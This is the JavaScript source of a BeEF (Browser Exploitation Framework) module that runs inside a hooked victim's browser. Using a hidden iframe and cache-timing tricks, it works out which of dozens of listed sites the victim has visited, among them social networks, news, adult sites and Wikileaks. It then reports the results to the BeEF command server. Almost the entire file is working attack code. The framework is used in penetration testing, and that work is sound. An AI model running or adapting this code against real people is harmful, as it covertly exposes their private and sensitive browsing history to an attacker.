Path: blob/master/modules/browser/get_visited_domains/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//567var hidden_iframe = beef.dom.createInvisibleIframe();8hidden_iframe.setAttribute('id','f');9hidden_iframe.setAttribute('name','f');10hidden_iframe.setAttribute('src','about:blank');11hidden_iframe.setAttribute('style','opacity: 0.1');1213var results = "";14var tries = 0;1516var isIE = 0;17var isFF = 0;18var isO = 0;19var isC = 0;2021/*******************************22* SUB-MS TIMER IMPLEMENTATION *23*******************************/24var cycles = 0;25var exec_next = null;2627function timer_interrupt() {28cycles++;29if (exec_next) {30var cmd = exec_next;31exec_next = null;32cmd();33}34}3536if (beef.browser.isFF() == 1) {37window.addEventListener('message', timer_interrupt, false);3839/****************40* SCANNED URLS *41****************/42var targets = [43{ 'category': 'Social networks' },44{ 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',45'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',46'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },47{ 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },4849{ 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz',50'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] },51{ 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },52{ 'category': 'Content platforms' },53{ 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },54{ 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] },55{ 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },56{ 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] },57{ 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },58{ 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] },59{ 'category': 'Online media' },60{ 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },61{ 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',62'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },63{ 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] },64{ 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] },65{ 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },66{ 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },67{ 'category': 'Commerce' },68{ 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12',69'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] },70{ 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },71{ 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },72{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },73{ 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },74{ 'category': 'Coding' },75{ 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] },76{ 'category': 'Security' },77{ 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] },78{ 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] },79{ 'category': 'Email' },80{ 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] }81];82/*************************83* CONFIGURABLE SETTINGS *84*************************/85var TIME_LIMIT = 5;86var MAX_ATTEMPTS = 2;87}88if (beef.browser.isIE() == 1) {89/****************90* SCANNED URLS *91****************/92var targets = [93{ 'category': 'Social networks' },94{ 'name': 'Facebook', 'urls': [ 'http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png',95'https://s-static.ak.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png' ] },96{ 'name': 'Twitter', 'urls': [ 'http://twitter.com/phoenix/favicon.ico',97'https://twitter.com/phoenix/favicon.ico' ] },98{ 'name': 'LinkedIn', 'urls': [ 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png',99'http://s3.licdn.com/scds/common/u/img/logos/logo_2_237x60.png',100'http://s4.licdn.com/scds/common/u/img/logos/logo_132x32_2.png' ] },101{ 'name': 'Orkut', 'urls': [ 'http://static3.orkut.com/img/gwt/logo_orkut_default.png' ] },102{ 'name': 'Dogster', 'urls': [ 'http://a2.cdnsters.com/static/images/sitewide/logos/dsterBanner-sm.png' ] },103{ 'category': 'Content platforms' },104{ 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/favicon-refresh-vfldLzJxy.ico' ] },105{ 'name': 'Hulu', 'urls': [ 'http://www.hulu.com/fat-favicon.ico' ] },106{ 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/favicon.ico' ] },107{ 'name': 'Wikipedia (EN)', 'urls': [ 'http://en.wikipedia.org/favicon.ico' ] },108{ 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/favicon.ico' ] },109{ 'category': 'Online media' },110{ 'name': 'New York Times', 'urls': [ 'http://css.nyt.com/images/icons/nyt.ico' ] },111{ 'name': 'CNN', 'urls': [ 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/hdr-main.gif',112'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif' ] },113{ 'name': 'Slashdot', 'urls': [ 'http://slashdot.org/favicon.ico',114'http://a.fsdn.com/sd/logo_w_l.png' ] },115{ 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/favicon.ico' ] },116{ 'name': 'Fox News', 'urls': [ 'http://www.foxnews.com/i/redes/foxnews.ico' ] },117{ 'name': 'AboveTopSecret.com', 'urls': [ 'http://files.abovetopsecret.com/images/atssitelogo-f.png' ] },118{ 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/IMG/wlogo.png' ] /* this session only */ },119{ 'category': 'Commerce' },120{ 'name': 'Diapers.com', 'urls': [ 'http://c4.diapers.com/Images/favicon.ico' ] },121{ 'name': 'Amazon (US)', 'urls': [ 'http://g-ecx.images-amazon.com/images/G/01/gno/images/general/navAmazonLogoFooter._V169459313_.gif' ] },122{ 'name': 'eBay', 'urls': [ 'http://www.ebay.com/favicon.ico' ] },123{ 'name': 'Walmart', 'urls': [ 'http://www.walmart.com/favicon.ico' ] },124{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/Nest/Newegg.ico' ] }125];126/*************************127* CONFIGURABLE SETTINGS *128*************************/129130var TIME_LIMIT = 1;131var MAX_ATTEMPTS = 1;132}133134if (beef.browser.isO() == 1){135/****************136* SCANNED URLS *137****************/138var targets = [139{ 'category': 'Social networks' },140{ 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',141'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',142'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },143{ 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },144145{ 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz',146'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] },147{ 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },148{ 'category': 'Content platforms' },149{ 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },150{ 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] },151{ 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },152{ 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] },153{ 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },154{ 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] },155{ 'category': 'Online media' },156{ 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },157{ 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',158'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },159{ 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] },160{ 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] },161{ 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },162{ 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },163{ 'category': 'Commerce' },164{ 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12',165'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] },166{ 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },167{ 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },168{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },169{ 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },170{ 'category': 'Coding' },171{ 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] },172{ 'category': 'Security' },173{ 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] },174{ 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] },175{ 'category': 'Email' },176{ 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] }177];178/*************************179* CONFIGURABLE SETTINGS *180*************************/181var TIME_LIMIT = 3;182var MAX_ATTEMPTS = 1;183}184185/* Fetch additional targets specified by user */186var domains = '<%= @domains %>';187var r = new RegExp(/(\b[^,;]+\b)\s*;\s*([^$,]+)/gm);188var res;189190while ((res = r.exec(domains)) != null) {191targets.push({'name': res[1], 'urls': res[2]});192}193194function sched_call(fn) {195exec_next = fn;196window.postMessage('123', '*');197}198199200/**********************201* MAIN STATE MACHINE *202**********************/203var log_area;204var target_off = 0;205var attempt = 0;206var confirmed_visited = false;207var current_url, current_name;208var wait_cycles;209var frame_ready = false;210var start, stop, urls;211212/* The frame was just pointed to data:... at this point. Initialize a new test, giving the213frame some time to fully load. */214function perform_check() {215wait_cycles = 0;216if (beef.browser.isIE() == 1) {217setTimeout(wait_for_read, 0);218}219if (beef.browser.isFF() == 1) {220setTimeout(wait_for_read, 1);221}222if(beef.browser.isO() == 1){223setTimeout(wait_for_read, 1);224}225}226227228/* Confirm that data:... is loaded correctly. */229function wait_for_read() {230if (wait_cycles++ > 100) {231beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=Something went wrong, sorry');232return;233}234if (beef.browser.isFF() == 1) {235if (!frame_ready) {236setTimeout(wait_for_read, 1);237} else {238document.getElementById('f').contentWindow.stop();239setTimeout(navigate_to_target, 1);240}241}242if (beef.browser.isIE() == 1) {243try{244if (frames['f'].location.href != 'about:blank') throw 1;245//if(document.getElementById('f').contentWindow.location.href != 'about:blank') throw 1;246document.getElementById("f").src ='javascript:"<body onload=\'parent.frame_ready = true\'>"';247setTimeout(wait_for_read2, 0);248} catch (e) {249setTimeout(wait_for_read, 0);250}251}252if (beef.browser.isO() == 1){253try{254255if(frames['f'].location.href != 'about:blank') throw 1;256257frames['f'].stop();258document.getElementById('f').src = 'javascript:"<body onload=\'parent.frame_ready = true\'>"';259setTimeout(wait_for_read2, 1);260} catch(e){261setTimeout(wait_for_read, 1);262}263}264}265266function wait_for_read2() {267if (wait_cycles++ > 100) {268beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=Something went wrong, sorry');269return;270}271if (!frame_ready) {272setTimeout(wait_for_read2, 0);273} else {274setTimeout(navigate_to_target, 1);275}276}277278279280/* Navigate the frame to the target URL. */281function navigate_to_target() {282cycles = 0;283if (beef.browser.isFF() == 1) {284sched_call(wait_for_noread);285}286if (beef.browser.isIE() == 1) {287setTimeout(wait_for_noread, 0);288}289if (beef.browser.isO() == 1){290setTimeout(wait_for_noread, 1);291}292urls++;293document.getElementById("f").src = current_url;294}295296297/* The browser is now trying to load the destination URL. Let's see if298we lose SOP access before we hit TIME_LIMIT. If yes, we have a cache299hit. If not, seems like cache miss. In both cases, the navigation300will be aborted by maybe_test_next(). */301302function wait_for_noread() {303try {304if (beef.browser.isIE() == 1) {305if (frames['f'].location.href == undefined){306confirmed_visited = true;307throw 1;308}309if (cycles++ >= TIME_LIMIT) {310maybe_test_next();311return;312}313setTimeout(wait_for_noread, 0);314}315if (beef.browser.isFF() == 1) {316if (document.getElementById('f').contentWindow.location.href == undefined)317{318confirmed_visited = true;319throw 1;320}321if (cycles >= TIME_LIMIT) {322maybe_test_next();323return;324}325sched_call(wait_for_noread);326}327if (beef.browser.isO() == 1){328if (frames['f'].location.href == undefined){329confirm_visited = true;330throw 1;331}332if (cycles++ >= TIME_LIMIT) {333maybe_test_next();334return;335}336setTimeout(wait_for_noread, 1);337}338} catch (e) {339confirmed_visited = true;340maybe_test_next();341}342}343344function maybe_test_next() {345frame_ready = false;346if (beef.browser.isFF() == 1) {347document.getElementById('f').src = 'data:text/html,<body onload="parent.frame_ready = true">';348}349if (beef.browser.isIE() == 1) {350document.getElementById("f").src = 'about:blank';351}352if (beef.browser.isO() == 1) {353document.getElementById('f').src = 'about:blank';354}355if (target_off < targets.length) {356if (targets[target_off].category) {357//log_text(targets[target_off].category + ':', 'p', 'category');358target_off++;359}360if (confirmed_visited) {361log_text('Visited: ' + current_name + ' [' + cycles + ':' + attempt + ']', 'li', 'visited');362}363if (confirmed_visited || attempt == MAX_ATTEMPTS * targets[target_off].urls.length) {364if (!confirmed_visited)365//continue;366log_text('Not visited: ' + current_name + ' [' + cycles + '+]', 'li', 'not_visited');367confirmed_visited = false;368target_off++;369attempt = 0;370maybe_test_next();371} else {372current_url = targets[target_off].urls[attempt % targets[target_off].urls.length];373current_name = targets[target_off].name;374attempt++;375perform_check();376}377}378}379380381/* Just a logging helper. */382function log_text(str, type, cssclass) {383results+="<br>";384results+=str;385//alert(str);386if(target_off==(targets.length-1)){387beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+results);388setTimeout(reload,3000);389}390}391392function reload(){393//window.location.href=window.location.href;394window.location.reload();395}396397/* Decides what to do next. May schedule another attempt for the same target,398select a new target, or wrap up the scan. */399400401402/* The handler for "run the test" button on the main page. Dispenses403advice, resets state if necessary. */404function start_stuff() {405if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isO() == 1) {406target_off = 0;407attempt = 0;408confirmed_visited = false;409urls = 0;410results = "";411maybe_test_next();412}413else {414beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=This proof-of-concept is specific to Firefox, Internet Explorer, Chrome and Opera, and probably won\'t work for you.');415}416}417418/**************/419/***Visipisi***/420/**************/421var vp_result = {};422423var visipisi = {424webkit: function(url, cb) {425var start;426var loaded = false;427var runtest = function() {428window.removeEventListener("message", runtest, false);429var img = new Image();430start = new Date().getTime();431try{432img.src = url;433} catch(e) {}434var messageCB = function (e){435var now = new Date().getTime();436if (img.complete) {437delete img;438window.removeEventListener("message", messageCB, false);439cbWrap(true);440} else if (now - start > 10) {441delete img;442if (window.stop !== undefined)443window.stop();444else445document.execCommand("Stop",false);446window.removeEventListener("message", messageCB, false);447cbWrap(false);448} else {449window.postMessage('','*');450}451452};453window.addEventListener("message", messageCB, false);454window.postMessage('','*');455};456cbWrap = function (value) {cb(value);};457window.addEventListener("message", runtest, false);458window.postMessage('','*');459}460};461462function visipisiCB(vp, endCB, sites, urls, site, result){463if(result === null){464vp_result[site] = 'Whoops';465}466else{467vp_result[site] = result ? 'visited' : 'not visited';468}469var next_site = sites.pop();470if(next_site)471vp( urls[next_site], function (result) {472visipisiCB(vp, endCB, sites, urls, next_site, result);473});474else475endCB();476}477478function getVisitedDomains(){479var tests = {480facebook: 'https://s-static.ak.facebook.com/rsrc.php/v1/yJ/r/vOykDL15P0R.png',481twitter: 'https://twitter.com/images/spinner.gif',482digg: 'http://cdn2.diggstatic.com/img/sprites/global.5b25823e.png',483reddit: 'http://www.redditstatic.com/sprite-reddit.pZL22qP4ous.png',484hn: 'http://ycombinator.com/images/y18.gif',485stumbleupon: 'http://cdn.stumble-upon.com/i/bg/logo_su.png',486wired: 'http://www.wired.com/images/home/wired_logo.gif',487xkcd: 'http://imgs.xkcd.com/s/9be30a7.png',488linkedin: 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png',489slashdot: 'http://a.fsdn.com/sd/logo_w_l.png',490myspace: 'http://cms.myspacecdn.com/cms/x/11/47/title-WhatsHotWhite.jpg',491engadget: 'http://www.blogsmithmedia.com/www.engadget.com/media/engadget_logo.png',492lastfm: 'http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png',493pandora: 'http://www.pandora.com/img/logo.png',494youtube: 'http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif',495yahoo: 'http://l.yimg.com/ao/i/mp/properties/frontpage/01/img/aufrontpage-sprite.s1740.gif',496google: 'https://www.google.com/intl/en_com/images/srpr/logo3w.png',497hotmail: 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.8/~/~/~/~/images/iconmap.png',498cnn: 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif',499bbc: 'http://static.bbc.co.uk/frameworks/barlesque/1.21.2/desktop/3/img/blocks/light.png',500reuters: 'http://www.reuters.com/resources_v2/images/masthead-logo.gif',501wikipedia: 'http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png',502amazon: 'http://g-ecx.images-amazon.com/images/G/01/gno/images/orangeBlue/navPackedSprites-US-22._V183711641_.png',503ebay: 'http://p.ebaystatic.com/aw/pics/au/logos/logoEbay_x45.gif',504newegg: 'http://images10.newegg.com/WebResource/Themes/2005/Nest/neLogo.png',505bestbuy: 'http://images.bestbuy.com/BestBuy_US/en_US/images/global/header/hdr_logo.gif',506walmart: 'http://i2.walmartimages.com/i/header_wide/walmart_logo_214x54.gif',507perfectgirls: 'http://www.perfectgirls.net/img/logoPG_02.jpg',508abebooks: 'http://www.abebooks.com/images/HeaderFooter/siteRevamp/AbeBooks-logo.gif',509msy: 'http://msy.com.au/images/MSYLogo-long.gif',510techbuy: 'http://www.techbuy.com.au/themes/default/images/tblogo.jpg',511borders: 'http://www.borders.com.au/images/ui/logo-site-footer.gif',512mozilla: 'http://www.mozilla.org/images/template/screen/logo_footer.png',513anandtech: 'http://www.anandtech.com/content/images/globals/header_logo.png',514tomshardware: 'http://m.bestofmedia.com/i/tomshardware/v3/logo_th.png',515shopbot: 'http://i.shopbot.com.au/s/i/logo/en_AU/shopbot.gif',516staticice: 'http://staticice.com.au/images/banner.jpg',517};518519var sites = [];520for (var k in tests) {521sites.push(k);522}523524sites.reverse();525526vp = visipisi.webkit;527var first_site = sites.pop();528var end = function() {529beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+prepResult(vp_result));530}531532vp(tests[first_site], function(result) {533visipisiCB(vp, end, sites, tests, first_site, result);534});535}536537function prepResult(results){538var result_str ='<br>';539for(r in results){540result_str += r + ':' + results[r]+'<br>';541}542return result_str;543}544545beef.execute(function() {546if(beef.browser.isC() == 1){547getVisitedDomains();548549} else {550urls = undefined;551exec_next = null;552start_stuff();553}554});555556557558559